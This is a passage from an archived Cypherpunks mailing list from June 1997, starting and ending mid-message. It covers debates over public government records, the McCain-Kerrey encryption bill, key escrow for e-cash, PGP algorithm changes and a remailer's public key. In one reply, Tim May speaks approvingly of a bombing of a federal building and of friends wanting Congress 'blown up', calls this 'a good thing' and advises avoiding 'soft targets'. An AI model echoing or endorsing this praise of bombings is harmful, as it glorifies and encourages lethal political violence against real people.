judged by a jury.  Not necessarily having commited the crime, but being
convicted of doing so - as is well known mistakes have been made and lives
have been destroyed by such mistakes.

IMHO, repeat offenders will wind up in jail again, and will be punished
again.  This should not infringe on their right to secure jobs or the
right to rent, or buy homes.

The idea of the justice system is to correct these wrongs, not to punish
for life.  Once the debt is paid, it is paid.  There are some who believe
that offenders should not be re-released into society because they will
commit more crimes, and/or that the communities should be notified when
they are allowed to move there.  If it is the case that person X is likely
to commit more crime, then that fact should play a factor in person X's
parole hearing.  IMHO, if the danger is there, don't let the bastard out.
If it isn't, then let them go and let them live in peace and privacy.

> Voter Registrations

These too can be both a benefit and an infringement on privacy.  Whatever
information these records hold might be used for other purposes.

> Census Records

Why?  What is the purpose of having these records available in forms other
than a number?

> Building Permits

I agree here.

> Profesional Licenses

Sure, but only so far as to say "Yep, person X has this license" not "and
they live on xyz street, have three kids, and a poodle."

> Court Transcripts

Granted.

> Federal Records
> State Records
> County Records
> City Records

Granted, but which specific records?

> ect, ect, ect.

clue: You mean etc as in "Et Cetera."

> The problem here is *NOT* that this information is public. The problem is
> that the goverment has got it's fat little fingers into everything. The
> solution is *NOT* letting the state hide what it is doing with these so
> called privacy laws but to get the state out of where it has no business
> being in the first place!!!

I agree that there is ALSO a problem that the government has its fat
fingers in everything and is allowed to do things that others aren't
allowed to do.  For instance many places where gambling is illegal provide
lotteries with astronomical odds against the player.  Were the things done
by casinos, nobody would play.

I agree that what the state does and whom they interact with should be
public knowledge.  I do not agree that by virtue of interacting with the
state that I should be force to give up my privacy.  I do not have the
choice of not interacting with the state due to lovelies such as income
taxes and drivers licenses - I should not be forced to give up privacy as 
well because of this.

Based on what you say everything the state does should be public.  Fine,
but if anyone were able to see anyone else's 1040 forms, you'd have a lot
of invasion of privacy.  This is what you fail to see or understand.  This
isn't a strawman, it's plain fact.  If I can see your return, I can see
how much you make, whatever deductions or exemptions you claim can give me
a slew of information as to what you have purchased and your general life
style.  The address info and SSN will give me even more keys into your
info.  Birth and Marriage records will tell me who your mother is, then I
can look up her records, and find her maiden name, then I can take your
SSN, your mother's maiden name, your date of birth and hand them over to
TRW and see your credit card purchases, etc.  This is the thing that
should not be that you are advocating, the thing I and fighting you on.  I
think that it is indeed the case that you require a few clues.

> And this has nothing to do with GAK or any other 1984ish monitoring of
> citizens. The issue here is bringing the activities of the state into the
> light of day. The activities of the citizens that do not directly involve
> the state are not at issue here.

Then DMV records should not be fully visible, neither should 1040 forms,
for example.  But the key is "that do not directly involve the state"  The
problem is that the state directly involves us into their activities and
we directly involve them through our votes.  That is the key that will
unlock the records into the activities of the citizens, and unlock their
privacy when they should not.

For the most part we agree - the government's activities should be public
knowledge and should be watched and reviewed carefully.  However in your
eagerness to make this happen you would also strip away the privacy of the
citizens only because the government interacts and forces itself on
interacting with them.

And that is the clue you fail to get.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 03:40:09 +0800
To: cypherpunks@Algebra.COM
Subject: The Grand Compromise is Coming
In-Reply-To: <33B003B5.689A@nwdtc.com>
Message-ID: <v03102805afd5d070ad81@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:43 AM -0700 6/24/97, Declan McCullagh wrote:
>Yeah, I'm going to the markup later this afternoon. I ran into Goodlatte in
>the Capitol this morning; he seemed cautiously optimistic.
>

The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
card in the coming Grand Compromise.

When even editorial writers for the Establishment Papers are against it,
when industry is against it so vocally, it won't pass the full Congress.

But it will have served its purpose.

It will make many groups _satisfied_ to reach "a compromise we can all live
with." The various cyber-rights [sic] groups will probably trumpet this as
a victory, as "the best we could get."

Somewhere between SAFE, a bad bill, and McCain-Kerrey, a reprehensible
bill, lies the Grand Compromise.

I reject it all.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Wed, 25 Jun 1997 00:48:48 +0800
To: cypherpunks@cyberpass.net
Subject: Netscape, 128-bit export
Message-ID: <CMM.0.90.4.867170404.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



from their web site, at
http://www.netscape.com/flash2/newsref/pr/newsrelease428.html
---

MOUNTAIN VIEW, Calif. (June 24, 1997) -- Netscape Communications
Corporation (NASDAQ: NSCP) today announced the
United States Department of Commerce has granted the company permission
to export Netscape Communicator client software
with 128-bit encryption capabilities. Available for immediate download
from the Netscape Internet site, Netscape Communicator
with strong encryption would allow users worldwide to enjoy far greater
protection for their information when communicating with
certified, strong encryption applications on Intranets and the
Internet. 

Netscape also received approval to export Netscape SuiteSpot server
software featuring 128-bit encryption capabilities to certified
banks worldwide. VeriSign will be providing a special-use digital
certificate which enables the encryption. This will allow Netscape
Communicator users to access their banking information from almost
anywhere in the world and communicate using strong
encryption with those banks which have implemented Netscape SuiteSpot
servers and completed the certification process. 

--- some pr crap deleted ---


International users who have Netscape Communicator do not need to
download a new version of Netscape Communicator to take
advantage of the strong encryption capabilities being announced today.
Negotiation of the strong encryption between international
versions of Netscape Communicator and Netscape SuiteSpot servers
approved for export to banks occurs through a unique
mechanism based on a special-use digital certificate.

etc...

-----

So... is this new approval for export of 128-bit encryption 
only for encryption between the users and these banks,
or is it general? If it's general, is GAK built in or not?
And if not, how did they get approval?

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
#include <stddisclaimer.h>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 25 Jun 1997 04:08:11 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Making _Real_ Money off a DES Break
In-Reply-To: <v03102803afd5c15420c6@[207.167.93.63]>
Message-ID: <Pine.3.89.9706241247.A12622-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 24 Jun 1997, Tim May wrote:
> Is anyone publishing on this? Are the details of the SWIFT and similar
> interbank transfer systems available anywhere?
> 
> (What kind of out-of-band checksums may exist? What kind of callback
> systems? What window of opportunity exists if a single DES key is found? Is
> it useful?)

All this interesting stuff is specified in exhaustive detail in ANSI X9 A10.
http://www.x9.org/

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Wed, 25 Jun 1997 00:53:48 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: New PGP signatures
In-Reply-To: <Pine.3.89.9706231540.A13824-0100000@netcom2>
Message-ID: <97Jun24.124732edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Lucky Green wrote:

> 
> On Mon, 23 Jun 1997 tzeruch@ceddec.com wrote:
> 
> [On PGP switching to SHA-1/ElGamal]
> > They could have supported RSA/SHA if they wanted to.  They also put 3DES
> > and IDEA support as options in the manual (but not in the freeware or
> > tryit versions that I can see).
> 
> I guess suggestions such as the one above prove that CP is still attracting 
> newbies. That's a good thing. Now if they only read the FAQ.
> 
> The patents for DH (which cover the public domain ElGamal) expire this
> Fall. By using SHA-1/ElGamal, PGP is moving to a technology that will soon
> no longer require paying large sums of money to RSA for the use of a
> one-line mathematical formula. This is *a good thing*. 

PGP 5.0 is still covered by patents since it still has RSA in there to
read old messages.  Also (except for the legal pettifoggery), PGP is
supposed to have licenses to RSA. 

I was speaking technically, not politically.  If MD5 is broken, replacing
MD5 with SHA1 is the fix.  If my transmission is broken, I don't also need
a new engine.  The antecedent post mentioned the reason to change PGP was
a technical flaw.  My point (which echos the FAQ) is that there were other
forces at work - legal and economic factors.  So prepend "If all they were
interested in was fixing TECHNICAL weaknesses in PGP " to my comment.

If abandoning one standard and requiring the world to change to a
radically changed incompatible new one is "a good thing", it is only
because paying extortion is not, which is a sentiment I agree with.

I do think it is a shrewd move, since now the worst thing RSA can do to
them is not allow them to sell backward compatible versions in the US,
were I in their position I would probably do the same thing.

On the other hand, if PGP5+ messages are not covered by any licensing
restrictions on the technology, then PGP5+ can be cloned (i.e. a fully
interoperable version without any code from PGP inc.).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 24 Jun 1997 23:12:15 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <Pine.LNX.3.91.970624130317.724D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Who on this list intends to go to HIP'97? http://www.hip97.nl
> I would like to organize a C*punks meeting there.

I have been thinking about it, I may come over for one day:

Do you know what crypto presentations are taking place? I think Lutz 
Donnerhacke is giving a presentation on smart card security and 
supposedly there is some GSM stuff.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Medusa Admin <medusa-admin@weasel.owl.de>
Date: Tue, 24 Jun 1997 22:39:38 +0800
To: cypherpunks@toad.com
Subject: New Middleman Mixmaster
Message-ID: <19970624132553.2081.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



I have just set up a new mixmaster with the following key. It's purely a
middleman remailer, and hence will only forward mail to other mixmasters.
If it's used as the last link in the chain, or you send a request for the
key or statistics information, this will be sent out via a randomly chosen
remailer. Because all mail to the remailer goes through the nymserver as
well as my system, you should expect latency of a couple of hours.

Here is the public key for Medusa Remailer

=-=-=-=-=-=-=-=-=-=-=-=
medusa medusa@weasel.owl.de d34e77b9c0e4f52a51767c20a9e9b942 2.0.4b1 MC

-----Begin Mix Key-----
d34e77b9c0e4f52a51767c20a9e9b942
258
AATU6i9jf6U7CE08LTZA+JOUQzRd4RLPTW1v+PB3
ju0+oxGgLvPGAQ6N6ZlVnFGV8NpbYjc08S/dLlik
T41DcQcPoi9rCy9UgzWh8WcsxGr6GsCTgXrTyhOw
rw2WRJI3S/GH6+Zdexvw4+8ABtn8nGzh0vftpzUo
Jl+dX+kiSsbGvQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQAB
-----End Mix Key-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Wed, 25 Jun 1997 01:53:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <v03020929afd325266f9d@[139.167.130.247]>
Message-ID: <97Jun24.134510edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 22 Jun 1997, Robert Hettinga wrote:

> You just need to tell them that S909 will kill the commercial internet, and
> all the billions that have been invested in it.

More to the point, it will kill the commercial internet within the US.  We
could ban steelmaking for environmental or safety reasons, which would not
stop it, but then our steel producers and automakers would be out of
business.  I think the US may have one, maybe two years before we lose the
entire crypto industry to overseas.  We may still write the academic
articles, but all the software and hardware will be imported.  After all
the problems about losing jobs, we are actively destroying this sector of
high technology.

> >  Digital Commerce *is* Financial Cryptography,
> >  Financial Cryptography *is* Strong Cryptography,
> >  therefore,
> >  Digital Commerce *is* Strong Cryptography.
> >  and, therefore,
> >  No Strong Cryptography, no Digital Commerce.
> 
> ... why wouldn't escrow work ...

Because the government could retroactively reverse transactions.  Currency
is only as good as far as it is trusted.  Would you accept a transaction
that if the government opened the crypto, and found that the person that
sent you the cash was a drug dealer, which meant that all your finances
are thus contaminated with "drug money", and that they would not only
seize the transaction, but all other money?  I think not. 

The goverment could also open the note and spend it before you did (for
things like back taxes).  Assuming it is not a janitor working in the
building housing the escrow computer who is doing it.

In effect, key escrow applied to electronic cash is a lein against every
note that can be executed without your knowledge or consent.

There are technical solutions and problems which I can go into further. 
But, briefly, the goverment will want to track all sides, and anything
will require huge computer resources to store the escrowed keys.  That is
unless getting one key unlocks every $20 digital note issued, and then how
do we insure they will only unlock the ones listed in the original
warrant?  And what about stolen or multiply transacted ecash - you can
only unlock the original payer and final payee - I know, make it illegal
to transfer ecash without reporting the transaction!

>From the original use of the touchstone to insure the quality of gold
coins, all monitary units had to have an authentication mechanism.  If the
crypto is weak, notes are easy to forge (analogous to why there are so
many hard to print things on $100 bills).  If you can't tell counterfeit
cash from real cash, you don't accept it, electronic or otherwise.  This
is why the $yllogism works.  Just note that locations that can't verify
checks don't accept them. 

If the government can declare "authentic" currency to have no value
(especially retroactively), the same rule applies, which is why key escrow
is equally damaging. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 25 Jun 1997 02:38:38 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241351.OAA04279@hermes>
Message-ID: <v03007809afd5b9286e1d@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Thanks, Adam, for sending this along.

As it turns out, I'm working on an article about encryption and privacy
that will appear in Time Magazine next month. Yesterday I photocopied a few
pages of Applied Crypto and printed out the (I believe) February 1996 paper
on recommended key lengths and passed them around the office. Your summary
is even more handy.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer<tm@dev.null>
Date: Wed, 25 Jun 1997 04:17:32 +0800
To: cypherpunks@toad.com
Subject: 1
Message-ID: <199706241950.NAA08710@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



1





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer<tm@dev.null>
Date: Wed, 25 Jun 1997 04:30:09 +0800
To: cypherpunks@toad.com
Subject: 2
Message-ID: <199706241959.NAA09532@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Anon-To:





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Wed, 25 Jun 1997 05:11:52 +0800
To: tcmay@got.net
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <v03102805afd5d070ad81@[207.167.93.63]>
Message-ID: <199706242102.OAA31118@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> 
> The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
> card in the coming Grand Compromise.

Yes.  The tactic will be to use S.909 in negotiation to represent a 'fair' 
government-oriented solution.   Then 'compromise' with a 'balanced'
deal which includes all that the government really wants, with a few
of the more onerous bits taken out of S.909 as 'compromise'.

As Declan notes, Congress is driven to compromise.  The
government side can propose ever more draconian laws in order to
engineer the 'compromise' to whatever it wants.  On the other side, we
are stuck, because we have been asking for things that we really want, not
bargaining chips.  Even if we were to ask for bargaining chips that
are more than we really want, how much further than completely free
crypto can you go?    The government wins any game of compromise because
it can push its side as far as it wants, then demand that we meet halfway.


> It will make many groups _satisfied_ to reach "a compromise we can all live
> with." The various cyber-rights [sic] groups will probably trumpet this as
> a victory, as "the best we could get."

They will make it out as a victory ("send us more money") but in
reality it'll just be a little less of a defeat.


The rejectionist stance has the presumption that, if unwatched, the
government will pass a law so onerous that the people will rise up
in protest.  Unfortunately I don't think Americans will rise up in
protest over _anything_ any more.  Certainly not over basic freedoms.



-- 
                   Eric Murray  ericm@lne.com 
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Wed, 25 Jun 1997 02:21:38 +0800
To: cypherpunks@Algebra.COM
Subject: Coding || Politics || Diplomacy (was: Radical Roots)
In-Reply-To: <v0310280aafd0659f356a@[207.167.93.63]>
Message-ID: <Pine.BSI.3.92.970624130246.17389A-100000@conch.msen.com>
MIME-Version: 1.0
Content-Type: text/plain



I saw a part of the PBS VietNam documentary last night, a (North)
Vietnamese general explaining that their defense against the folks with
helicopters was successful because it was never a purely military
strategy, instead always combining the political, the diplomatic and
the military.

What does this have to do with cypherpunks ?   A lot.

The recent unpleasantness in Washington, and Brussels, and London
has inspired many reminders that "Cypherpunks Write Code".
Amen to that -- and we clearly must hurry up and write more code now.
But we can and should do more.

We have long foreseen that the various Horsemen of the Apocalypse would be
used in the sound bite campaign to manufacture support for restrictions on
crypto.  No surprise then that we see this happening.  But there is still
time in this part of the battle, and an encouraging ripple effect of some
of our own political memes.  Many people in the US still remember the
abuses of J. Edgar Hoover, of Richard Nixon, or even Clinton's recent
abuse of FBI files; and these abuses are often mentioned along with the
lowest common denominator explanations of GAK in the mainstream media.
Much of the public in the Western Democracies retains a fuzzy belief in
freedom and privacy, and a fuzzy skepticism of Big Brother.

This is the political part of the battle, and the ranks of cypherpunks
include many people with skills in creating memes and sound bites.  Some
of these may not be coders at all, but they can contribute to the overall
strategy by inserting our own memes into the public's consciousness.  We
may not "win" on the political front alone, but even if the only
accomplishment is to delay the inevitable, this is very good in that it
allows the coders more time to write code.  Such effort is also rewarded
as it allows additional intelligent people to understand the issues and to
join us.  Cypherpunks write memes!

Finally, I will touch briefly on the dirtiest part of the effort -- the
diplomatic.  This has been discussed at length on this list and elsewhere.
The efforts by those who lobby and arm-twist and broker deals in
Washington, Brussels, London, and other nodes of power, may also
contribute to the overall strategy.  Again, we clearly will never "win"
outright in any such endeavors.  But I think it is clear that we again
gain time, breathing room, from such efforts -- time in which we may write
more code and write more memes.  If the lawmakers only hear from the
spooks and the secret police, they will pass their bad laws much sooner.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 05:31:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <v03102805afd5d070ad81@[207.167.93.63]>
Message-ID: <v03102809afd5e8da69e1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:02 PM -0700 6/24/97, Eric Murray wrote:
>Tim May writes:

>> It will make many groups _satisfied_ to reach "a compromise we can all live
>> with." The various cyber-rights [sic] groups will probably trumpet this as
>> a victory, as "the best we could get."
>
>They will make it out as a victory ("send us more money") but in
>reality it'll just be a little less of a defeat.

I'd be willing to bet the cyber rights [sic] groups are preparing for the
compromise and their role in the "victory." In this sense, the
McCain--Kerrey bill is almost a godsend to them, as it allows them to forge
a compromise and thus show that they are doing something useful.

>The rejectionist stance has the presumption that, if unwatched, the
>government will pass a law so onerous that the people will rise up
>in protest.  Unfortunately I don't think Americans will rise up in
>protest over _anything_ any more.  Certainly not over basic freedoms.

Well, I know of some Americans who blew up a building filled with Feds.

That ain't exactly doing nothing.

I have to confess to not being completely unhappy with the McCain-Kerrey
thing. By being so much of a Big Brother action, it validates what we've
been warning about.

And while _most_ Americans will not rise up in protest, as you point out,
this will invigorate the extremist factions fighting for collapse of the
entire corrupt system.

(For we extremists, whom some have called "bloodthirsty," there's no better
recruiting tool than such things as McCain-Kerrey. I've heard more of my
friends saying that Congress just ought to be blown up than I ever would
have imagined a few years ago. And this is not a view shared only by
extremists: anyone who saw the coming attraction trailers for "Independence
Day," last year at that time, was probably struck by the visceral and
immediate audience reaction to the scene showing the alien flying saucers
vaporizing and destroying the White House: cheers and clapping throughout
the audience.)

This will be a good thing. Just avoid soft targets, as I keep warning.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 25 Jun 1997 03:49:36 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: William Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970624113126.8208A-100000@beast.brainlink.com>
Message-ID: <199706241938.OAA11409@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970624113126.8208A-100000@beast.brainlink.com>, on
06/24/97 
   at 12:00 PM, Ray Arachelian <sunder@brainlink.com> said:

>On Mon, 23 Jun 1997, William H. Geiger III wrote:

>> Only one here being clueless is you Ray.

>Thanks for the compliment.  I burp in your general direction.
> 
>> The state is not allowed to engage in secret activities with select
>> members of society. Whenever it issues a permit or a license to someone it
>> is public knowledge. Whenever someone is arrested, whenever there is a
>> trial both great and small the full details are public information.

>Asking the state to protect my privacy by not disclosing the information
>I disclose to it is not asking the state to engage in secret activities
>with select members of society.  It is asking it not to release
>information that I am forced to give them in return for certain goods,
>services, or privilidges - driving for example.  Having a driver's
>license doesn't mean I wish to share the information that the DMV
>requires to provide such a license to the world.

>Paying taxes doesn't mean I wish to disclose my 1040 form to the world.
> 
>> All actions of the state *must* be reviewable by the citizens. You can not
>> have a free and open society without the people being able to check on
>> what it's government is doing.

>And tell me dear William, in what way will you prevent the government
>from taking capricious actions against a free and open society by
>allowing anyone to find out a phone number that is unlisted by simply
>calling up DMV records?

>This isn't keeping tabs on the government, this is keeping tabs on the
>people which the government choses to infringe on.

>If the DMV wasn't giving licenses to certain types of people and one
>believed that this was the case, one should ask those people who felt
>that they were discriminated against.  One should not have the ability to
>look at EVERY record in the DMV databases - no matter how noble the
>thought.

>This is not to protect the DMV, this is to protect those listed within
>its databases.

>> This means that all of the following *must* be open to the public:

>Again, by your oppinion, not mine.  And no, I don't believe in a "free
>and open" society.  I believe in a "free and private" society.
> 
>> Criminal Records

>As for these, IMHO, once a criminal has completed their sentence they
>should be allowed to have a life.  Having these records available to all
>is a means of discriminating against them for having commited a crime as
>judged by a jury.  Not necessarily having commited the crime, but being
>convicted of doing so - as is well known mistakes have been made and
>lives have been destroyed by such mistakes.

>IMHO, repeat offenders will wind up in jail again, and will be punished
>again.  This should not infringe on their right to secure jobs or the
>right to rent, or buy homes.

>The idea of the justice system is to correct these wrongs, not to punish
>for life.  Once the debt is paid, it is paid.  There are some who believe
>that offenders should not be re-released into society because they will
>commit more crimes, and/or that the communities should be notified when
>they are allowed to move there.  If it is the case that person X is
>likely to commit more crime, then that fact should play a factor in
>person X's parole hearing.  IMHO, if the danger is there, don't let the
>bastard out. If it isn't, then let them go and let them live in peace and
>privacy.

>> Voter Registrations

>These too can be both a benefit and an infringement on privacy.  Whatever
>information these records hold might be used for other purposes.

Obviously you have never seen Chicago Politics at work. Chicago the most
democratic country in the world, even the dead get to vote ... TWICE!!! :)

>> Census Records

>Why?  What is the purpose of having these records available in forms
>other than a number?

>> Building Permits

>I agree here.

>> Profesional Licenses

>Sure, but only so far as to say "Yep, person X has this license" not "and
>they live on xyz street, have three kids, and a poodle."

>> Court Transcripts

>Granted.

>> Federal Records
>> State Records
>> County Records
>> City Records

>Granted, but which specific records?

>> ect, ect, ect.

>clue: You mean etc as in "Et Cetera."

>> The problem here is *NOT* that this information is public. The problem is
>> that the goverment has got it's fat little fingers into everything. The
>> solution is *NOT* letting the state hide what it is doing with these so
>> called privacy laws but to get the state out of where it has no business
>> being in the first place!!!

>I agree that there is ALSO a problem that the government has its fat
>fingers in everything and is allowed to do things that others aren't
>allowed to do.  For instance many places where gambling is illegal
>provide lotteries with astronomical odds against the player.  Were the
>things done by casinos, nobody would play.

>I agree that what the state does and whom they interact with should be
>public knowledge.  I do not agree that by virtue of interacting with the
>state that I should be force to give up my privacy.  I do not have the
>choice of not interacting with the state due to lovelies such as income
>taxes and drivers licenses - I should not be forced to give up privacy as
> well because of this.

>Based on what you say everything the state does should be public.  Fine,
>but if anyone were able to see anyone else's 1040 forms, you'd have a lot
>of invasion of privacy.  This is what you fail to see or understand. 
>This isn't a strawman, it's plain fact.  If I can see your return, I can
>see how much you make, whatever deductions or exemptions you claim can
>give me a slew of information as to what you have purchased and your
>general life style.  The address info and SSN will give me even more keys
>into your info.  Birth and Marriage records will tell me who your mother
>is, then I can look up her records, and find her maiden name, then I can
>take your SSN, your mother's maiden name, your date of birth and hand
>them over to TRW and see your credit card purchases, etc.  This is the
>thing that should not be that you are advocating, the thing I and
>fighting you on.  I think that it is indeed the case that you require a
>few clues.

>> And this has nothing to do with GAK or any other 1984ish monitoring of
>> citizens. The issue here is bringing the activities of the state into the
>> light of day. The activities of the citizens that do not directly involve
>> the state are not at issue here.

>Then DMV records should not be fully visible, neither should 1040 forms,
>for example.  But the key is "that do not directly involve the state" 
>The problem is that the state directly involves us into their activities
>and we directly involve them through our votes.  That is the key that
>will unlock the records into the activities of the citizens, and unlock
>their privacy when they should not.

>For the most part we agree - the government's activities should be public
>knowledge and should be watched and reviewed carefully.  However in your
>eagerness to make this happen you would also strip away the privacy of
>the citizens only because the government interacts and forces itself on
>interacting with them.

>And that is the clue you fail to get.

How are you going to verify what the government *says* it is doing without
a mechinism of authenticating of who they are doing it with?

How can you verify that the census reports are vailid if you don't know
who is in the census?

How can you check and see if the party in power is stuffing the balot
boxes if you can't confirm who is on the voting rolls??

How will you know which John Doe is issued a Medical License without
additional information being available?

How can you prevent criminal records from being known when all police
arrests & court procedings are public knowledge?

In your zeal to make public information "private" you are giving the
government the perfect mechanism to hide all its activities from its
citizens.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7AjHY9Co1n+aLhhAQFGXQP+MeTQt7vohgI7QBSa1rgAzaXXX4woRcLv
5Rbfx/r0XCSoyjDIREPcrnpwX0RQRHs07+NpXKCrygqeU7ruD6zw5xmZaP9obyw3
iGqoqcemt+x/S+UZGh2w4mXMN7GKLzyihoxTg/wYIbW964qr20ujig0jJ7pyDrpL
DtyNs8NB4ZQ=
=Me1A
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 25 Jun 1997 02:55:30 +0800
To: Alan Olsen <root@nwdtc.com>
Subject: Re: CNN - Encryption bill expected to pass House - June 23, 1997
In-Reply-To: <33B003B5.689A@nwdtc.com>
Message-ID: <v0300780dafd5c59a5b1c@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Yeah, I'm going to the markup later this afternoon. I ran into Goodlatte in
the Capitol this morning; he seemed cautiously optimistic.

-Declan

*********

At 10:28 -0700 6/24/97, Alan Olsen wrote:
>http://www.cnn.com/TECH/9706/23/encryption.reut/index.html
>
>Encryption bill expected to pass House
>
>June 23, 1997
>Web posted at: 10:05 p.m. EDT (0205 GMT)
>
>WASHINGTON (Reuter) -- Legislation to
>relax U.S. export limits on computer-encoding
>technology is likely to move ahead in the
>House of Representatives this week, despite
>a severe setback in the Senate last week.
>
>The House International Relations' economic
>policy and trade subcommittee will vote on a
>bill Tuesday, chairwoman Ileana
>Ros-Lehtinen, Republican of Florida, said.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 25 Jun 1997 03:19:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
Message-ID: <199706241908.MAA21649@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




>1. Government has copy of keys
>2. Government misuses keys.
>
>Simple enough for you?

Too simple.  Escrow for ecash isn't to allow forging cash, or stealing it.
It allows tracing it.

If you tell financial experts that making ecash traceable under court order is
goint to make electronic commerce impossible, they'll laugh.  They already
use systems which are even less private than that.

Anon






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 25 Jun 1997 04:04:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
